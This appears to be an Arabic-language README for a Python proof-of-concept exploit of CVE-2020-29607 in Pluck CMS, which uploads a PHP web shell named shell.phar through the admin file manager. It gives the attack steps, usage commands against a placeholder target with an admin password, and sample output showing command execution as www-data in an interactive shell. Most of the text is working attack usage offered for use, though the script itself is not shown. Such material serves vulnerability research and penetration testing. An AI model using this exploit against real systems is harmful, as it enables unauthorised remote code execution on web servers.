CVE-2020-29607 — Pluck CMS <= 4.7.13 ثغرة رفع ملفات موثقة تؤدي إلى تنفيذ أوامر عن بُعد (PoC)

تنفيذ أوامر عن بُعد موثّق في Pluck CMS قبل الإصدار 4.7.13. لا يتحقق مدير الملفات الخاص بالمشرف (admin.php?action=files) من امتدادات الملفات، مما يسمح برفع ملفات .phar التي ينفذها Apache كـ PHP. يؤدي رصد شل ويب عبر هذه النقطة إلى تنفيذ الأوامر كمستخدم خادم الويب.

كيف يعمل

1. يتم تسجيل الدخول باستخدام كلمة مرور المشرف المقدمة.
2. يرفع شل ويب PHP تحت اسم shell.phar عبر مدير ملفات المشرف.
3. يتحقق من التنفيذ عن طريق طلب الشل وتشغيل id.
4. يفتح حلقة أوامر تفاعلية ضد الشل المرفوع.

المتطلبات

• Python 3
• تثبيت التبعيات:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

الاستخدام

# Pluck في المسار الرئيسي
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD

# Pluck في مجلد فرعي
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck

مثال:

$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] يتم تسجيل الدخول...
[+] تم تسجيل الدخول
[*] جارٍ رفع شل الويب...
[+] تم رفع شل الويب
[*] عنوان شل: http://10.10.10.10/files/shell.phar
[+] الهدف ضعيف! المخرجات: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] تم فتح الشل. اكتب 'exit' أو Ctrl+C للخروج.

Shell> whoami
www-data

المراجع

• CVE-2020-29607
• EDB-49909
• PoC الأصلي بواسطة Ron Jost (Hacker5preme)

الإسناد

• الاكتشاف والاستغلال الأصلي: Ron Jost (Hacker5preme)
• نقل إلى Python 3 والشل التفاعلي: Esteban Zárate